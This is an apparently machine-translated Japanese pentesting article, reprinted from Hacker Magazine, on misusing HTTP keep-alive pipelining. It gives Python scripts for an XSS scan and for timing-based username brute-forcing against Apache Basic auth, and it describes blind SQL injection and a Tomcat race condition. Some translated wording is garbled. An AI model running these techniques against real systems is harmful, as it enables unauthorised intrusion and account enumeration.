接続して征服する。 キープアライブのカスタムルック





最新のサーバーのほとんどは、キープアライブ接続をサポートしています。 ページに多くのメディアコンテンツがある場合、そのような接続はロードを大幅に高速化するのに役立ちます。 しかし、あまり目立たないタスクにはキープアライブを使用しようとします。



仕組み



非標準のアプリケーションの方法に移る前に、キープアライブの仕組みを説明します。 プロセスは実際には非常に単純です-1つの要求の代わりに、いくつかは接続で送信され、いくつかの応答はサーバーから送信されます。 利点は明らかです。接続の確立に費やされる時間が減り、CPUとメモリの負荷が減ります。 通常、1つの接続での要求の数はサーバー設定によって制限されます(ほとんどの場合、少なくとも数十個あります)。 接続設定スキームは汎用的です:



1. HTTP / 1.0の場合、最初の要求には** Connection:keep-alive **ヘッダーが含まれている必要があります。

HTTP / 1.1が使用される場合、そのようなヘッダーはまったく存在しない可能性がありますが、一部のサーバーは永続的と宣言されていない接続を自動的に閉じます。 また、たとえば、ヘッダー** Expect:100-continue **が干渉する場合があります。 したがって、各リクエストにキープアライブを強制的に追加することをお勧めします-これはエラーを回避するのに役立ちます。





接続を強制的に閉じることを期待する



2.キープアライブ接続が指定されると、サーバーは最初のリクエストの終わりを探します。 要求にデータが含まれていない場合、二重CRLFが終了と見なされます(これらは制御文字\ r \ nですが、多くの場合2つだけが機能します)。 Content-Length、Transfer-Encodingヘッダーがない場合、およびこれらのヘッダーにゼロまたは不正なコンテンツがある場合、要求は空と見なされます。 それらが正しい値を持っている場合、要求の終わりは宣言された長さのコンテンツの最後のバイトです。





宣言されたコンテンツの最後のバイトの直後に、次のリクエストが続く場合があります



3.最初のリクエストの後に追加データが存在する場合、対応するステップ1と2がそれらに対して繰り返され、正しく形成されたリクエストが完了するまで続きます。



リクエストが正しく完了した後でも、サーバーのあいまいなマジック機能とリクエストの宛先のスクリプトのために、キープアライブスキームが機能しない場合があります。 この場合、最初のHEADリクエストを送信して接続を強制的に初期化すると役立つ場合があります。





HEADリクエストはキープアライブシーケンスを開始します



三十一または一三?



どんなに面白くても、最初の最も明白な利益は、ある種のスキャンWebアプリケーションで高速化できることです。 簡単な例を見てみましょう。10のシナリオで構成されるアプリケーションで特定のXSSベクトルをチェックする必要があります。 各スクリプトは3つのパラメーターを取ります。



すべてのページを調べ、すべてのパラメーターを1つずつ確認する小さなPythonスクリプトをコンパイルしました。その後、脆弱なスクリプトまたはパラメーター(4つの弱点を作成します)とスキャンに費やした時間を出力します。



import socket, time, re print("\n\nScan is started...\n") s_time = time.time() for pg_n in range(0,10): for prm_n in range(0,3): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("host.test", 80)) req = "GET /page"+str(pg_n)+".php?param"+str(prm_n)+"=<script>alert('xzxzx:page"+str(pg_n)+":param"+str(prm_n)+":yzyzy')</script> HTTP/1.1\r\nHost: host.test\r\nConnection: close\r\n\r\n" s.send(req) res = s.recv(64000) pattern = "<script>alert('xzxzx" if res.find(pattern)!=-1: print("Vulnerable page"+str(pg_n)+":param"+str(prm_n)) s.close() print("\nTime: %s" % (time.time() - s_time))
      
      





やってみます。 その結果、実行時間は0.690999984741でした。





キープアライブなしのローカルテスト



そして今、同じことを試みますが、リモートリソースでは、結果は3.0490000248です。



悪くはありませんが、キープアライブを使用してみましょう。スクリプトを書き直して、1つの接続で30個すべての要求を送信し、応答を解析して必要な値を取得します。



 import socket, time, re print("\n\nScan is started...\n") s_time = time.time() req = "" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("host.test", 80)) for pg_n in range(0,10): for prm_n in range(0,3): req += "GET /page"+str(pg_n)+".php?param"+str(prm_n)+"=<script>alert('xzxzx:page"+str(pg_n)+":param"+str(prm_n)+":yzyzy')</script> HTTP/1.1\r\nHost: host.test\r\nConnection: keep-alive\r\n\r\n" req += "HEAD /page0.php HTTP/1.1\r\nHost: host.test\r\nConnection: close\r\n\r\n" s.send(req) # Timeout for correct keep-alive time.sleep(0.15) res = s.recv(640000000) pattern = "<script>alert('xzxzx" strpos = 0 if res.find(pattern)!=-1: for z in range(0,res.count(pattern)): strpos = res.find(pattern, strpos+1) print("Vulnerable "+res[strpos+21:strpos+33]) s.close() print("\nTime: %s" % (time.time() - s_time))
      
      





ローカルで実行しようとします:結果は0.167000055313です。 リモートリソースのキープアライブを開始すると、0,393999814987のままになります。



これは、リクエストをPythonに渡す際に問題が発生しないように、0.15秒を追加する必要があったにもかかわらずです。 非常に明確な違いではありませんか? そして、何千ものそのようなページはいつですか?



もちろん、高度な製品は単一のストリームにスキャンしませんが、サーバー設定により許可されるストリームの数を制限できます。 また、一般的に、リクエストを適切に配信すると、接続が一定であれば、負荷が少なくなり、結果が速くなります。 さらに、1ペンテスターのタスクは異なり、多くの場合、カスタムスクリプトを記述する必要があります。



注射で撮影



おそらく、このような頻繁なルーチンタスクの1つは、ブラインドSQLインジェクションの文字ごとのプロモーションに起因する可能性があります。 サーバーを恐れていない場合-シンボル検索またはバイナリ検索をいくつかのストリームに回転する場合よりも悪化する可能性は低い-ここでキープアライブを使用して、最小数の接続で最大の結果を得ることができます。



原則は単純です。1つのパッケージにすべての文字を含む要求を収集して送信します。 応答が真の条件に一致することが判明した場合、成功した応答の数で目的の文字の数を取得するために正しく解析するだけです。





すべてのキャラクターを含む1つのパッケージを収集し、答えで満たされた条件を探します



これは、スレッドの数が制限されている場合、または他の方法を使用して文字検索プロセスを高速化できない場合にも役立ちます。



不測の事態



キープアライブ接続の場合、サーバーはリクエストを処理するための追加のフローを起動せず、リクエストをキューの順序で系統的に実行するため、2つのリクエスト間の遅延を最小限に抑えることができます。 特定の状況では、これは競合状態などの論理エラーを悪用するのに役立つ場合があります。 複数の並列スレッドでは何ができないのですか? ただし、キープアライブでのみ可能な例外の例を次に示します。

Javaスクリプトを使用してTomcatのファイルを変更してみましょう。





ファイルが変更されましたが、問題ありません



スクリプトとサーバーの両方のすべてのOKは、ファイルが変更されたことを確認します。 そして、キープアライブリクエストをファイルのコンテンツに追加してから、シーケンスの変更をリクエストします。サーバーは裏切りを我慢したくありません。





サーバーは反逆罪を我慢したくない



スクリプト(OSにも注意する必要があります)は、ファイルが変更されたことを完全に認識します。 しかし、サーバー... Tomcatは、現在のファイル値と置き換える前に、さらに5秒間前のファイル値を返します。



複雑なWebアプリケーションでは、これにより「競合」を実現できます。1つの部分はサーバーからまだ更新されていない情報にアクセスし、もう1つの部分は既に新しい値を受け取っています。 一般的に、今、あなたは何を探すべきかを知っています。



時間を止める方法



最後に、この手法を使用した好奇心の強い例を示します。時間の停止です。 より正確には、その減速。



Apache_httpdサーバーのmod_auth_basicモジュールがどのように機能するかを見てみましょう。 基本認証は次のように行われます。最初に、リクエストで渡されたユーザー名を持つアカウントが存在するかどうかがチェックされます。 次に、そのようなエントリが存在する場合、サーバーは送信されたパスワードのハッシュを計算し、アカウント内のハッシュと調整します。 ハッシュの計算には一定量のシステムリソースが必要であるため、答えにはユーザー名が一致するものを見つけられなかった場合よりも数ミリ秒の遅延が伴います(実際、結果はサーバーの構成、そのパワー、空の星の位置に大きく依存します)。 リクエスト間の違いを確認する機会がある場合、システム内に確実に存在するログインを取得するために、ログインをソートすることが可能です。 ただし、通常のクエリの場合、ローカルネットワークであっても違いを追跡することはほとんど不可能です。



遅延を増やすために、より長いパスワードを送信できます。私の場合、500文字のパスワードを送信する場合、タイムアウトの差は25ミリ秒に増加しました。 直接接続の条件では、おそらくこれはすでに悪用される可能性がありますが、インターネット経由のアクセスにはまったく適していません。





差が小さすぎる



そして、ここで私たちのお気に入りのキープアライブモードは、すべてのリクエストが次々に順番に実行されるレスキューに来ます。つまり、合計遅延に接続中のリクエストの数が掛けられます。 つまり、1つのパケットで100個の要求を送信でき、500文字のパスワードを使用すると、遅延は2.5秒も増加します。 これは、ローカルネットワークは言うまでもなく、リモートアクセスを介したログインのエラーのない選択には十分です。





同一のリクエストのシーケンスを作成します



キープアライブの最後のリクエストは、** Connection:close **で接続を閉じる方が良いです。 そのため、サーバーがシーケンスの継続を待機する間の5秒の不要なタイムアウト(設定によって異なります)を取り除きます。 このための小さなスクリプトをスケッチしました。



 import socket, base64, time print("BASIC Login Bruteforce\n") logins = ("abc","test","adm","root","zzzzz") for login in logins: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("host.test", 80)) cred = base64.b64encode(login+":"+("a"*500)) payload = "HEAD /prvt/ HTTP/1.1\r\nHost: host.test\r\nAuthorization: Basic "+str(cred)+"\r\n\r\n" multipayload = payload * 100 start_time = time.time() s.send(multipayload) r = s.recv(640000) print("For "+login+" = %s sec" % (time.time() - start_time)) s.close()
      
      





この場合でも、どこでもHEADを使用して、シーケンス全体の通過を保証することは理にかなっています。



発射!





これでログインをブルートできます



証明に必要なもの-キープアライブは、速度を上げるだけでなく、応答を遅くするのにも役立ちます。 Webアプリケーションで文字列や文字を比較するとき、または単に操作のタイムアウトを追跡するために、このようなトリックが機能する可能性もあります。



ひれ



実際、永久化合物の適用範囲ははるかに広いです。 このような接続を使用するサーバーの中には、通常とは異なる動作を開始するものがあり、アーキテクチャの奇妙な論理エラーに遭遇したり、面白いバグを見つけたりすることができます。 一般に、これは武器庫に保管して定期的に使用できる便利なツールです。 お楽しみに!



著者から



私の日常業務では、ほとんどの場合BurpSuiteを使用しましたが、実際の操作では、簡単なスクリプトを任意の便利な言語で概説する方がはるかに簡単です。 また、異なる言語の接続メカニズムが異なるサーバーに対して予期しない異なる結果をもたらすことにも注意する価値があります。たとえば、PythonソケットはApache httpdバージョン2.4を適切に実行できませんでしたが、ブランチ2.2ではうまく機能します。 何かがうまくいかない場合は、別のクライアントを試す価値があります。


画像



Hacker Magazine#196で最初に発行されました。

投稿者:Semen Rozhkov、 @ sam_in_cube (Positive Technologies)



ハッカーを購読する




All Articles